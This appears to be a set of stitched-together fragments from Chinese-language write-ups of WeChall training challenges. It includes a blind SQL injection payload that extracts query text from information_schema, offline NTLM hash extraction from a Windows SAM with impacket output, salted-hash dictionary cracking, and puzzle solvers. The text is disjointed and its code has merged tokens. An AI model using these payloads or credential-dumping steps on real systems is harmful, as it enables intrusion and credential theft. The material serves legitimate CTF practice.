username=test' OR IF( (SELECT ASCII(SUBSTR(info, <pos>, 1)) = <ord> FROM information_schema.processlist WHERE info LIKE 0x2553454c45435425 LIMIT 1), 1, 0 )# password=test
也可以用二分:
1
ASCII(SUBSTR(info, <pos>, 1)) ><mid>
逐字符恢复 info 后,从 SQL 文本里抽出
<secret_database>.<secret_table>,再把点号换成下划线提交。
一个叫 Bill 的人把秘密藏在加密的 KeePass 数据库里。需要从他的 Windows
SAM 文件开始,走完整条攻击链才能拿到最终的答案。
1 2 3 4
给的文件: files.zip ├── SAM # Windows SAM (Security Account Manager) ├── system # SYSTEM registry hive(对应加密的 boot key) └── keepass.kdb # KeePass 1.x KDB 格式
Solution
Step 1 — 从 SAM + SYSTEM
提取 NTLM hash
secretsdump.py(impacket 包)从 SAM + SYSTEM
离线提取本地用户的 hash:
1 2 3 4 5 6
$ secretsdump.py -sam SAM -system system LOCAL Impacket v0.12.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0xac285427313a1c9a8dc2e8b3421a2e22 [*] Dumping local SAM hashes: Bill:500:7f4ac180230c769790d3d8ad454f5167:cfb69fa6cb1d792d63b02c6eefc807e5:::
# 字典攻击 for word in dictionary: # WC3 h = hashlib.md5(hashlib.md5(word.encode()).hexdigest().encode() + b"zomgsalt").hexdigest() if h in wc3_hashes: found_wc3.append((len(word), word))
# WC4 — 每条 hash 的 salt 不同 for entry in wc4_raw: target_hash = entry[:-8] # 前 40 hex = SHA1 salt = entry[-8:] # 后 8 hex = 4 bytes salt t = hashlib.sha1(b"zomgsalt4" + word.encode() + bytes.fromhex(salt) + b"zomgsalt4").hexdigest() if t == target_hash: found_wc4.append((len(word), word))
注意 encrypt = decrypt,加解密相同。本质是 XOR
流密码,但 key 不是简单循环——有一个递增步长的索引调度(step starts at 1,
increments after each full cycle)。
Python 实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
defgizcrypt_decrypt(ct, key): klen = len(key) x, k = 1, -1 e = 101# ord('e') plain = bytearray() for b in ct: k += x if k >= klen: k = 0 x += 1 if x >= klen: x = 1 plain.append(key[k % klen] ^ b ^ e) returnbytes(plain)
defkey_index_seq(length, klen=11): seq = [] x, k = 1, -1 for _ inrange(length): k += x if k >= klen: k = 0; x += 1 if x >= klen: x = 1 seq.append(k % klen) return seq
seq = key_index_seq(len(ct)) groups = {i: [] for i inrange(11)} for i, kpos inenumerate(seq): groups[kpos].append(ct[i])
key = [] for pos inrange(11): best = None best_score = -9999 for k in alphabet: plain = bytes(k ^ c ^ 101for c in groups[pos]) score = sum(4if b in (32,101,116,97,111) else 2ifchr(b).isalpha() or b in (44,46,39) else 1if32 <= b < 127else -10 for b in plain) if score > best_score: best_score = score best = k key.append(best)
root = TrieNode() for word inopen('/usr/share/dict/words'): w = word.strip().lower() iflen(w) >= 6: node = root for ch in w: node = node.children.setdefault(ch, TrieNode()) node.is_word = True
# 2. 获取网格 r = sess.get(f'{BASE}/generate.php') match = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL) grid = [list(line.strip().lower()) for line inmatch.group(1).strip().split('\n') if line.strip()] ROWS, COLS = len(grid), len(grid[0])
# 3. 8 方向搜索(用 Trie 实时剪枝) DIRS = [(0,1),(0,-1),(1,0),(-1,0),(1,1),(1,-1),(-1,1),(-1,-1)] found = {} # word -> (start_r, start_c)
for r inrange(ROWS): for c inrange(COLS): for dr, dc in DIRS: node, last_word, last_len = root, None, 0 for step inrange(max(ROWS, COLS)): nr, nc = r + dr*step, c + dc*step ifnot (0 <= nr < ROWS and0 <= nc < COLS): break ch = grid[nr][nc] if ch notin node.children: break node = node.children[ch] if node.is_word: word = ''.join(grid[r+dr*s][c+dc*s] for s inrange(step+1)) if word notin found: found[word] = (r, c)
BASE = 'https://www.wechall.net/en/challenge/training/programming/knapsaak' COOKIES = {'WC': '...'}
defparse_problem(text): items = [] meta = {} for line in text.strip().split('\n'): if'='notin line: continue k, v = line.split('=', 1) k, v = k.strip(), v.strip() if k in ('Items', 'Sum', 'Stock', 'Level'): meta[k] = int(v) else: items.append((k, int(v))) # (name, price) return items, meta['Items'], meta['Sum'], meta['Stock']
defsolve(items, need_count, need_sum, stock): n = len(items) prices = [p for _, p in items] names = [n for n, _ in items] # 按价格降序排列(剪枝效果更好) order = sorted(range(n), key=lambda i: -prices[i]) sp = [prices[i] for i in order]
memo = {} defdfs(idx, ri, rs): if ri == 0and rs == 0: return [0] * (n - idx) if idx == n or ri < 0or rs < 0: returnNone key = (idx, ri, rs) if key in memo: return memo[key] # 剪枝:剩余件数超出库存限制 if ri > stock * (n - idx): memo[key] = None; returnNone # 剪枝:剩余金额超出价格范围 min_p, max_p = min(sp[idx:]), max(sp[idx:]) if rs < ri * min_p or rs > ri * max_p: memo[key] = None; returnNone
p = sp[idx] for qty inrange(min(stock, ri, rs // p) + 1): sub = dfs(idx + 1, ri - qty, rs - qty * p) if sub isnotNone: memo[key] = [qty] + sub return memo[key] memo[key] = None returnNone
qs = dfs(0, need_count, need_sum) if qs isNone: returnNone # 按原始顺序还原 quants = [0] * n for i, orig_idx inenumerate(order): quants[orig_idx] = qs[i] # 拼接答案:qtyName... return''.join(str(quants[i]) + names[i] for i inrange(n) if quants[i] > 0)